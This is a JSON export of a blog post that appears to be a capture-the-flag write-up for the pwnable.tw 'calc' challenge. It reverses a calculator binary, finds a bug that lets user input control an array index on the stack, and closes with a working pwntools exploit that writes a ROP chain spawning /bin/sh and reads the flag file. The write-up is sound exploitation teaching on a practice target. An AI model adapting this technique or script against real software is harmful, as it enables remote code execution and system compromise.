{"id":60,"date":"2021-03-10T21:02:58","date_gmt":"2021-03-10T21:02:58","guid":{"rendered":"https:\/\/blog.bpcspace.com\/?p=60"},"modified":"2021-03-10T21:02:58","modified_gmt":"2021-03-10T21:02:58","slug":"calc","status":"publish","type":"post","link":"https:\/\/blog.bpcspace.com\/?p=60","title":{"rendered":"calc"},"content":{"rendered":"\n<p>This program lets you do math to numbers. It seems to be more secure then the last:<\/p>\n\n\n\n<div class=\"wp-block-image\"><figure class=\"aligncenter size-large is-resized\"><img loading=\"lazy\" decoding=\"async\" src=\"http:\/\/blog.bpcspace.com\/wp-content\/uploads\/2021\/03\/image-9.png\" alt=\"\" class=\"wp-image-61\" width=\"610\" height=\"130\" srcset=\"https:\/\/blog.bpcspace.com\/wp-content\/uploads\/2021\/03\/image-9.png 652w, https:\/\/blog.bpcspace.com\/wp-content\/uploads\/2021\/03\/image-9-300x64.png 300w\" sizes=\"auto, (max-width: 610px) 100vw, 610px\" \/><\/figure><\/div>\n\n\n\n<p>Note the stack canaries; unless we have a leak, we can&#8217;t just overflow everything up to the return address. We also can&#8217;t jump to the stack. However, notice that this binary doesn&#8217;t have PIE enabled, making ROP gadgets extremely easy to locate. After decompiling the binary in Ghidra, it&#8217;s evident that the <code>calc<\/code> function does the heavy lifting. There&#8217;s also an alarm that sets a time limit, although I suspect this is just to keep idle sessions from cluttering the server.<\/p>\n\n\n\n<div class=\"wp-block-image\"><figure class=\"aligncenter size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"403\" height=\"186\" src=\"http:\/\/blog.bpcspace.com\/wp-content\/uploads\/2021\/03\/image-10.png\" alt=\"\" class=\"wp-image-62\" srcset=\"https:\/\/blog.bpcspace.com\/wp-content\/uploads\/2021\/03\/image-10.png 403w, https:\/\/blog.bpcspace.com\/wp-content\/uploads\/2021\/03\/image-10-300x138.png 300w\" sizes=\"auto, (max-width: 403px) 100vw, 403px\" \/><\/figure><\/div>\n\n\n\n<p>Looking at <code>calc<\/code>, it looks like <code>get_expr<\/code> gets user input, and <code>parse_expr<\/code> parses it (who would have guessed!?). <code>get_expr<\/code> reads byte by byte, limiting our input by length of the second operand of the function, which is 1024. No easy buffer overflow for us.<\/p>\n\n\n\n<div class=\"wp-block-image\"><figure class=\"aligncenter size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"685\" height=\"342\" src=\"http:\/\/blog.bpcspace.com\/wp-content\/uploads\/2021\/03\/image-12.png\" alt=\"\" class=\"wp-image-64\" srcset=\"https:\/\/blog.bpcspace.com\/wp-content\/uploads\/2021\/03\/image-12.png 685w, https:\/\/blog.bpcspace.com\/wp-content\/uploads\/2021\/03\/image-12-300x150.png 300w\" sizes=\"auto, (max-width: 685px) 100vw, 685px\" \/><\/figure><\/div>\n\n\n\n<p>Naturally, the next place to look is <code>parse_expr<\/code>. It&#8217;s a bit overwhelming at first, so I fuzzed to find an exploit. We&#8217;ll return to it later.<\/p>\n\n\n\n<p>Feeling lazy, I tried typing some random values into the calculator. Pretty quickly, I found myself several inputs that caused trouble. Notice the pattern? <\/p>\n\n\n\n<div class=\"wp-block-image\"><figure class=\"aligncenter size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"619\" height=\"221\" src=\"http:\/\/blog.bpcspace.com\/wp-content\/uploads\/2021\/03\/image-14.png\" alt=\"\" class=\"wp-image-67\" srcset=\"https:\/\/blog.bpcspace.com\/wp-content\/uploads\/2021\/03\/image-14.png 619w, https:\/\/blog.bpcspace.com\/wp-content\/uploads\/2021\/03\/image-14-300x107.png 300w\" sizes=\"auto, (max-width: 619px) 100vw, 619px\" \/><\/figure><\/div>\n\n\n\n<p>These values seemed to cause problems at different parts of the code. -8-1 overwrote a return value (very promising!), but the other two caused trouble at instruction <code>0x8049160<\/code>, which used the specified value as an index offset (see line 39 in parse_expr). In all situations the byte that was written was the second operand. This strange behavior made it seem like the address we write to is effected by the values we put in. To test this theory, I used some mnemonic values.<\/p>\n\n\n\n<p>+1+12345 resulted in the integer 12345 being stored in <code>0xffffccc0<\/code>.<\/p>\n\n\n\n<p>+10+67890 resulted in the integer 67890 being stored in <code>0xffffccc4<\/code><\/p>\n\n\n\n<p>Why is this happening? Well, it seems like the first value is being used as an index to an array of integers. Unsurprisingly, the way C deals with arrays is:<\/p>\n\n\n\n<p>mov (type size)<code> ptr [edx + (eax * type size) + (type size)]<\/code> <\/p>\n\n\n\n<p>where <code>edx<\/code> is the base of the array, and <code>eax<\/code> is the index. In other words, <code>address = base + (4 * index) + 4<\/code>. Using the examples above, we can do some math to discover the base is <code>0xffffccb8<\/code>. Plugging in our base and first operand as the index, we can confirm our findings, and write to any byte we want relative to where ever the array is on the server&#8217;s stack. The fact this is relative to a location in the stack helps immensely, as the server&#8217;s stack is likely to be located in a different address. Upon further inspection, I found that function is what enables us to control the index. <\/p>\n\n\n\n<div class=\"wp-block-image\"><figure class=\"aligncenter size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"637\" height=\"421\" src=\"http:\/\/blog.bpcspace.com\/wp-content\/uploads\/2021\/03\/image-19.png\" alt=\"\" class=\"wp-image-74\" srcset=\"https:\/\/blog.bpcspace.com\/wp-content\/uploads\/2021\/03\/image-19.png 637w, https:\/\/blog.bpcspace.com\/wp-content\/uploads\/2021\/03\/image-19-300x198.png 300w\" sizes=\"auto, (max-width: 637px) 100vw, 637px\" \/><\/figure><\/div>\n\n\n\n<p>Before <code>eval<\/code> is called, int_array is populated with three integers. The first integer is the number of operands, used as index-1, the second is the first operand, and the third is the second operand. So 4+5 would result in <code>int_array<\/code> containing this:<\/p>\n\n\n\n<div class=\"wp-block-image\"><figure class=\"aligncenter size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"279\" height=\"55\" src=\"http:\/\/blog.bpcspace.com\/wp-content\/uploads\/2021\/03\/image-21.png\" alt=\"\" class=\"wp-image-76\"\/><\/figure><\/div>\n\n\n\n<p>However, if we start with a operator, say +20+7, the array looks like this.<\/p>\n\n\n\n<div class=\"wp-block-image\"><figure class=\"aligncenter size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"321\" height=\"53\" src=\"http:\/\/blog.bpcspace.com\/wp-content\/uploads\/2021\/03\/image-22.png\" alt=\"\" class=\"wp-image-77\" srcset=\"https:\/\/blog.bpcspace.com\/wp-content\/uploads\/2021\/03\/image-22.png 321w, https:\/\/blog.bpcspace.com\/wp-content\/uploads\/2021\/03\/image-22-300x50.png 300w\" sizes=\"auto, (max-width: 321px) 100vw, 321px\" \/><\/figure><\/div>\n\n\n\n<p> <code>eval<\/code> will be called a second time with our desired index.<\/p>\n\n\n\n<div class=\"wp-block-image\"><figure class=\"aligncenter size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"292\" height=\"56\" src=\"http:\/\/blog.bpcspace.com\/wp-content\/uploads\/2021\/03\/image-23.png\" alt=\"\" class=\"wp-image-78\"\/><\/figure><\/div>\n\n\n\n<p>This is the decompiled code for <code>parse_expr<\/code>, which creates this array and calls <code>eval<\/code>. <code>number_structs<\/code> is passed to <code>eval<\/code> as the first parameter.<\/p>\n\n\n\n<pre id=\"block-2106b6c9-aa9d-4f89-8c23-e9a79c0c890c\" class=\"wp-block-code\"><code>     1\tundefined4 parse_expr(void *number_buffer_input,int *number_structs)\n     2\t\n     3\t{\n     4\t  char *opperand_buffer_heap;\n     5\t  undefined4 reuturn_code;\n     6\t  int converted_operand;\n     7\t  size_t operand_size;\n     8\t  int in_GS_OFFSET;\n     9\t  void *number_buffer_input_location;\n    10\t  int index;\n    11\t  int operand_index;\n    12\t  char operand_buffer &#91;100];\n    13\t  int canary_check;\n    14\t  int first_number;\n    15\t  \n    16\t  canary_check = *(int *)(in_GS_OFFSET + 0x14);\n    17\t  number_buffer_input_location = number_buffer_input;\n    18\t  operand_index = 0;\n    19\t  bzero(operand_buffer,100);\n    20\t  index = 0;\n    21\t  do {\n    22\t    if (9 &lt; (int)*(char *)((int)number_buffer_input + index) - 0x30U) {\n    23\t      operand_size = (int)number_buffer_input + (index - (int)number_buffer_input_location);\n    24\t      opperand_buffer_heap = (char *)malloc(operand_size + 1);\n    25\t      memcpy(opperand_buffer_heap,number_buffer_input_location,operand_size);\n    26\t      opperand_buffer_heap&#91;operand_size] = 0;\n    27\t      converted_operand = strcmp(opperand_buffer_heap,\"0\");\n    28\t      if (converted_operand == 0) {\n    29\t        puts(\"prevent division by zero\");\n    30\t        fflush((FILE *)stdout);\n    31\t        reuturn_code = 0;\n    32\t        goto LAB_0804935f;\n    33\t      }\n    34\t      converted_operand = atoi(opperand_buffer_heap);\n    35\t      if (0 &lt; converted_operand) {\n    36\t        first_number = *number_structs;\n    37\t        *number_structs = first_number + 1;\n    38\t        number_structs&#91;first_number + 1] = converted_operand;\n    39\t      }\n    40\t      if ((*(char *)((int)number_buffer_input + index) != 0) &amp;&amp;\n    41\t         (9 &lt; (int)*(char *)((int)number_buffer_input + index + 1) - 0x30U)) {\n    42\t        puts(\"expression error!\");\n    43\t        fflush((FILE *)stdout);\n    44\t        reuturn_code = 0;\n    45\t        goto LAB_0804935f;\n    46\t      }\n    47\t      number_buffer_input_location = (void *)((int)number_buffer_input + index + 1);\n    48\t      if (operand_buffer&#91;operand_index] == 0) {\n    49\t        operand_buffer&#91;operand_index] = *(char *)((int)number_buffer_input + index);\n    50\t      }\n    51\t      else {\n    52\t        switch(*(undefined *)((int)number_buffer_input + index)) {\n    53\t        case 0x25:\n    54\t        case 0x2a:\n    55\t        case 0x2f:\n    56\t          if ((operand_buffer&#91;operand_index] == +) || (operand_buffer&#91;operand_index] == -)) {\n    57\t            operand_buffer&#91;operand_index + 1] = *(char *)((int)number_buffer_input + index);\n    58\t            operand_index = operand_index + 1;\n    59\t          }\n    60\t          else {\n    61\t            eval(number_structs,operand_buffer&#91;operand_index]);\n    62\t            operand_buffer&#91;operand_index] = *(char *)((int)number_buffer_input + index);\n    63\t          }\n    64\t          break;\n    65\t        default:\n    66\t          eval(number_structs,operand_buffer&#91;operand_index]);\n    67\t          operand_index = operand_index + -1;\n    68\t          break;\n    69\t        case 0x2b:\n    70\t        case 0x2d:\n    71\t          eval(number_structs,operand_buffer&#91;operand_index]);\n    72\t          operand_buffer&#91;operand_index] = *(char *)((int)number_buffer_input + index);\n    73\t        }\n    74\t      }\n    75\t      if (*(char *)((int)number_buffer_input + index) == 0) {\n    76\t        while (-1 &lt; operand_index) {\n    77\t          eval(number_structs,operand_buffer&#91;operand_index]);\n    78\t          operand_index = operand_index + -1;\n    79\t        }\n    80\t        reuturn_code = 1;\n    81\tLAB_0804935f:\n    82\t        if (canary_check != *(int *)(in_GS_OFFSET + 0x14)) {\n    83\t                    \/* WARNING: Subroutine does not return *\/\n    84\t          __stack_chk_fail();\n    85\t        }\n    86\t        return reuturn_code;\n    87\t      }\n    88\t    }\n    89\t    index = index + 1;\n    90\t  } while( true );\n    91\t}<\/code><\/pre>\n\n\n\n<p>Notice how when testing for an operator on line 22, the program doesn&#8217;t check to see if we had a previous number before then. As a result, our first operand will be put into <code>number_structs<\/code> on the second call to <code>eval<\/code>, which is the bug we&#8217;ll use to get a shell.<\/p>\n\n\n\n<p>To get a shell, the first idea that came to mind was to overwrite a .got.plt entry. This won&#8217;t work; the program is statically linked. While this sounds like it&#8217;s bad, the binary likely has libc built in, with tons of ROP gadgets we can use to get a shell. (nm .\/calc confirms this). Sure enough, ROPgadget finds a massive amount of gadgets, enough to tell us how to get a shell automatically with <code>ROPgadget --binary calc --ropchain<\/code>.<\/p>\n\n\n\n<div class=\"wp-block-image\"><figure class=\"aligncenter size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"555\" height=\"751\" src=\"http:\/\/blog.bpcspace.com\/wp-content\/uploads\/2021\/03\/image-26.png\" alt=\"\" class=\"wp-image-83\" srcset=\"https:\/\/blog.bpcspace.com\/wp-content\/uploads\/2021\/03\/image-26.png 555w, https:\/\/blog.bpcspace.com\/wp-content\/uploads\/2021\/03\/image-26-222x300.png 222w\" sizes=\"auto, (max-width: 555px) 100vw, 555px\" \/><\/figure><\/div>\n\n\n\n<p> The <code>main<\/code> function isn&#8217;t exited until we press enter, so it seems to be the easiest target. We find the location of <code>main<\/code>&#8216;s return address on the stack: <\/p>\n\n\n\n<div class=\"wp-block-image\"><figure class=\"aligncenter size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"454\" height=\"154\" src=\"http:\/\/blog.bpcspace.com\/wp-content\/uploads\/2021\/03\/image-25.png\" alt=\"\" class=\"wp-image-82\" srcset=\"https:\/\/blog.bpcspace.com\/wp-content\/uploads\/2021\/03\/image-25.png 454w, https:\/\/blog.bpcspace.com\/wp-content\/uploads\/2021\/03\/image-25-300x102.png 300w\" sizes=\"auto, (max-width: 454px) 100vw, 454px\" \/><\/figure><\/div>\n\n\n\n<p>We get an offset of 1476 from our array, which, when subtracted then divided by four, gives us 368. As expected, this value will overwrite main&#8217;s return address.<\/p>\n\n\n\n<div class=\"wp-block-image\"><figure class=\"aligncenter size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"1876\" height=\"728\" src=\"http:\/\/blog.bpcspace.com\/wp-content\/uploads\/2021\/03\/image-24.png\" alt=\"\" class=\"wp-image-81\" srcset=\"https:\/\/blog.bpcspace.com\/wp-content\/uploads\/2021\/03\/image-24.png 1876w, https:\/\/blog.bpcspace.com\/wp-content\/uploads\/2021\/03\/image-24-300x116.png 300w, https:\/\/blog.bpcspace.com\/wp-content\/uploads\/2021\/03\/image-24-1024x397.png 1024w, https:\/\/blog.bpcspace.com\/wp-content\/uploads\/2021\/03\/image-24-768x298.png 768w, https:\/\/blog.bpcspace.com\/wp-content\/uploads\/2021\/03\/image-24-1536x596.png 1536w\" sizes=\"auto, (max-width: 1876px) 100vw, 1876px\" \/><\/figure><\/div>\n\n\n\n<p>In summary, we can move bytes to any location by exploiting a bug in the program that lets control an index to an array. We&#8217;ll overwrite main&#8217;s reuturn address along with the stack below it to create a rop chain, giving us a shell. <\/p>\n\n\n\n<p>Putting all these things together, here&#8217;s a working exploit:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>#!\/usr\/bin\/env python3\nfrom pwn import *\n\ncontext.binary='.\/calc'\nproc = connect(\"chall.pwnable.tw\", 10100)\n\n# the ropchain is reversed because we can only decrease our index offsets.\n# ex. we can only do +3+1; +2+1, not +2+1, +3+1.\n\npayload = b''\npayload += p32(0x08049a21) # int 0x80\npayload += p32(0x0807cb7f) # inc eax ; ret\npayload += p32(0x0807cb7f) # inc eax ; ret\npayload += p32(0x0807cb7f) # inc eax ; ret\npayload += p32(0x0807cb7f) # inc eax ; ret\npayload += p32(0x0807cb7f) # inc eax ; ret\npayload += p32(0x0807cb7f) # inc eax ; ret\npayload += p32(0x0807cb7f) # inc eax ; ret\npayload += p32(0x0807cb7f) # inc eax ; ret\npayload += p32(0x0807cb7f) # inc eax ; ret\npayload += p32(0x0807cb7f) # inc eax ; ret\npayload += p32(0x0807cb7f) # inc eax ; ret\npayload += p32(0x080550d0) # xor eax, eax ; ret\npayload += p32(0x080ec068) # @ .data + 8\npayload += p32(0x080701aa) # pop edx ; ret\npayload += p32(0x080ec060) # padding without overwrite ebx\npayload += p32(0x080ec068) # @ .data + 8\npayload += p32(0x080701d1) # pop ecx ; pop ebx ; ret\npayload += p32(0x080ec060) # @ .data\npayload += p32(0x080481d1) # pop ebx ; ret\npayload += p32(0x0809b30d) # mov dword ptr &#91;edx], eax ; ret\npayload += p32(0x080550d0) # xor eax, eax ; ret\npayload += p32(0x080ec068) # @ .data + 8\npayload += p32(0x080701aa) # pop edx ; ret\npayload += p32(0x0809b30d) # mov dword ptr &#91;edx], eax ; ret\npayload += b'\/\/sh'\npayload += p32(0x0805c34b) # pop eax ; ret\npayload += p32(0x080ec064) # @ .data + 4\npayload += p32(0x080701aa) # pop edx ; ret\npayload += p32(0x0809b30d) # mov dword ptr &#91;edx], eax ; ret\npayload += b'\/bin'\npayload += p32(0x0805c34b) # pop eax ; ret\npayload += p32(0x080ec060) # @ .data\npayload += p32(0x080701aa) # pop edx ; ret\n\n\narray_index = 368 + int(len(payload) \/ 4) - 1\n\nfor dw in range(0, len(payload), 4):\n    byte_to_inject = u32(payload&#91;dw:dw+4])                              # this is the byte from the payload we print\n    proc.sendline(\"+{}+{}\".format(array_index, byte_to_inject))\n    array_index -= 1                                                    # this is the index of the array we have control over\n\nproc.sendline(\"\\ncat \/home\/calc\/flag\")                                  # the newline at the front makes us exit the main function\n\nproc.recvuntil(\"FLAG{\")\nflag = proc.recvuntilS(\"}\", drop=True)\n\nprint(\"The flag is: {}\".format(flag))<\/code><\/pre>\n\n\n\n<p>Check it out!<\/p>\n\n\n\n<div class=\"wp-block-image\"><figure class=\"aligncenter size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"677\" height=\"174\" src=\"http:\/\/blog.bpcspace.com\/wp-content\/uploads\/2021\/03\/image-27.png\" alt=\"\" class=\"wp-image-84\" srcset=\"https:\/\/blog.bpcspace.com\/wp-content\/uploads\/2021\/03\/image-27.png 677w, https:\/\/blog.bpcspace.com\/wp-content\/uploads\/2021\/03\/image-27-300x77.png 300w\" sizes=\"auto, (max-width: 677px) 100vw, 677px\" \/><\/figure><\/div>\n","protected":false},"excerpt":{"rendered":"<p>This program lets you do math to numbers. It seems to be more secure then the last: Note the stack canaries; unless we have a leak, we can&#8217;t just overflow everything up to the return address. We also can&#8217;t jump to the stack. However, notice that this binary doesn&#8217;t have PIE enabled, making ROP gadgets [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"templates\/template-full-width.php","format":"standard","meta":{"footnotes":""},"categories":[3,6],"tags":[],"class_list":["post-60","post","type-post","status-publish","format-standard","hentry","category-basic","category-pwnable-tw"],"_links":{"self":[{"href":"https:\/\/blog.bpcspace.com\/index.php?rest_route=\/wp\/v2\/posts\/60","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/blog.bpcspace.com\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/blog.bpcspace.com\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/blog.bpcspace.com\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/blog.bpcspace.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=60"}],"version-history":[{"count":0,"href":"https:\/\/blog.bpcspace.com\/index.php?rest_route=\/wp\/v2\/posts\/60\/revisions"}],"wp:attachment":[{"href":"https:\/\/blog.bpcspace.com\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=60"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/blog.bpcspace.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=60"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/blog.bpcspace.com\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=60"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}